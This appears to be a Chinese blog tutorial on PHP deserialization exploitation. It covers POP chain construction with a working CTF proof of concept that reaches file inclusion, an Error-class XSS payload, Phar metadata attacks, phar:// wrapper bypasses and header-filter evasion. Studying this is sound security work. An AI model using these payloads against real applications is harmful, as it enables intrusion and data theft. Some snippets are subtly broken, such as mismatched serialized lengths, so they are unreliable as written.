类与对象

成员属性与成员方法访问限定符限定词Public 内部,外部,子类均可使用
Protected 外部不能引用
Private 仅内部可以使用
类里面定义变量:var

序列化与反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class People{
public $id;
protected $gender;
private $age;
public function __construct(){
$this->id = 'hades';
$this->gender = 'male';
$this->age = '18';
}
}
$a = new People();
echo serialize($a);
?>

结果:O:6:"People":3:{s:2:"id";s:14:"hades";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}

:

  • public:属性被序列化的时候属性值会变成 属性名

  • protected:属性被序列化的时候属性值会变成 \x00*\x00属性名

  • private:属性被序列化的时候属性值会变成 \x00类名\x00属性名

所以特殊情况需要进行url编码

魔术方法

1
1

小trick

变量绑定

在php反序列化时如果要把一个类中成员的值赋给另一个成员需要用到引用符,和C语言取地址意义相似(我觉得),例如:

1
2
$c = new CLazz();
$c->b = &$c->a;

可以绕过未知变量的判断

字符串逃逸

详解:https://xz.aliyun.com/t/9895?time__1311=n4%2BxuDgD9AKxBDUhDBqDqpe6fYiK4eNeG8DPD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3D%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596%25E5%25AD%2597%25E7%25AC%25A6%25E4%25B8%25B2%25E9%2580%2583%25E9%2580%25B8

绕过__wakeup

序列化字符串中表示对象属性个数的值大于真实值就会跳过此魔术方法的执行

pop链

主要还是对于魔术方法的掌握,接下来分析一道题彻底理解pop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
//flag is in flag.php
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
  1. 首先这类题一定是要先找到能进行恶意的地方,那么我们发现在Modifier类中有一个方法内有可以产生文件包含漏洞的函数include(),那我们的思路就是想办法触发魔术方法来调用append方法,并且传给value的值为'flag.php'

  2. 不难发现我们需要触发__invoke()这个魔术方法来调用append方法,并且传给value的值为这个类中的var值,那么后面的poc中var值就要为'flag.php',但要触发这个魔术方法,需要将对象当作函数调用

  3. 那么接下来为了触发__invoke()魔术方法,如何将Modifier对象当作函数调用,观察接下来的代码,我们发现在Test类中的__get()魔术方法中return部分可以实现把对象当作函数调用,且需要将赋给$function$pModifier实例,即$p=new Modifier(),那么触发这个魔术方法需要调用这个类中属性不存在或不可访问属性的成员

  4. 继续,为了触发__get()魔术方法,我们要继续利用其他方法来实现触发,发现在Show这个类中的__toString()魔术方法中存在连续的引用,那么我们可以将这个类中的$str的值赋为Test对象,因此这个魔术方法内的这句话return $this->str->source;就成为了调用Test对象中的source成员了,又因为Test类中没有source这个成员,所以实现引用Test对象中不存在的成员,触发__get()魔术方法,那么又该如何触发__toString()魔术方法来实现这样的过程呢

  5. 那么要触发__toString()魔术方法,要将Tset对象作为字符串调用,依旧是去寻找能实现这种过程的部分,发现在这个类中存在__wakeup()魔术方法,其中我们可以利用echo函数来将Test对象作为字符串调用,那么只需要将source值赋为new Test(),并触发__wakeup()魔术方法就能实现,最后一步就是触发这个魔术方法了

  6. 最后,只需要进行反序列化操作,__wakeup魔术方法就会被调用,那么层层递推,就实现我们的需要了

总结一下:通过上面的分析,最后大致总结下来就是一个这样的过程:

分析后编辑好POC并进行序列化(url编码) >> 将结果传参,进行反序列化 >> 触发__wakeup >> 触发__toString >> 触发__get >> 触发__invoke >> 最后成功利用文件包含,得到答案

这种环环相扣,层层递进的过程就是构造pop链,最后展示一下POC以更好理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//flag is in flag.php
class Modifier {
private $var='flag.php';
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}
$mod = new Modifier();
$test = new Test();
$test->p=$mod;
$show = new Show();
$show->source = $show;
$show->str=$test;
echo serialize($show);
?>

:

  • 因为只能序列化一个类,所以找到pop链终点后(或没找到),可以观察每个类能否触发其他类的魔术方法来作为起点

  • 调试时,可以在不同魔术方法内打印不同内容来判断是否触发

PHP原生类反序列化

详解:https://xz.aliyun.com/t/9293?time__1311=n4%2BxuDgD9DyDRD0rxAhxBqDwp003pxPmhw4mD&alichlgref=https%3A%2F%2Fcn.bing.com%2F

总的来说就是没有让我们来反序列化的类时,可以使用PHP的内置类,示例(利用Error类触发XSS:原生类其中内置有一个__toString()方法):

1
2
3
4
<?php
$a = unserialize($_GET['yan']);
echo $a;
?>

POC:

1
2
3
4
5
6
7
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>

//输出: O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

Phar反序列化

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。

它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://伪协议使用。

Phar文件结构

  1. a stub是一个文件标志,格式为:xxx<?php xxx;__HALT_COMPILER();?>

  2. manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点。

  3. contents是被压缩的内容。

  4. signature签名,放在文件末尾。

Phar文件由这四部分组成,__HALT_COMPILER()是其文件头

Phar文件生成

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
class test{
public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=new test();
$phar->setMetadata($obj);//自定义的meta-data存入manifest,解析时会被反序列化
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成的文件除文件头外,发现中间的部分内容是以序列化的形式存在于这个文件中

1

Phar利用

php大部分的文件系统函数在通过phar://伪协议解析phar文件时会将meta-data的序列化字符进行反序列化:

1

可以通过在mata-data处自定义生成序列化字符

上传后(phar文件生成后修改后缀不会影响功能)利用文件包含,通过phar://伪协议触发反序列化造成危害

phar://伪协议绕过

1
2
3
4
5
compress.bzip://phar://a.phar/test1.
compress.bzip2://phar://a.phar/test1.
compress.zlib://phar://a.phar/test1.txt
php://filter/resource=phar://a.phar/test1.
php://filter/read=convert.base-encode/

文件头绕过

PHP通过__HALT_COMPILER来识别Phar文件,那么出于安全考虑,即为了防止Phar反序列化的出现,可能就会对这个进行过滤

  • 将Phar文件的内容写到压缩包注释中,压缩为zip文件,示例代码如下
1
2
3
<?php$a = serialize($a);$zip = new ZipArchive();$res = $zip->open('phar.zip',ZipArchive::CREATE); 
$zip->addFromString('flag.txt', 'flag is here');$zip->setArchiveComment($a);$zip->close();
?>
  • 将生成的Phar文件进行gzip压缩,压缩命令如下
1
gzip test.phar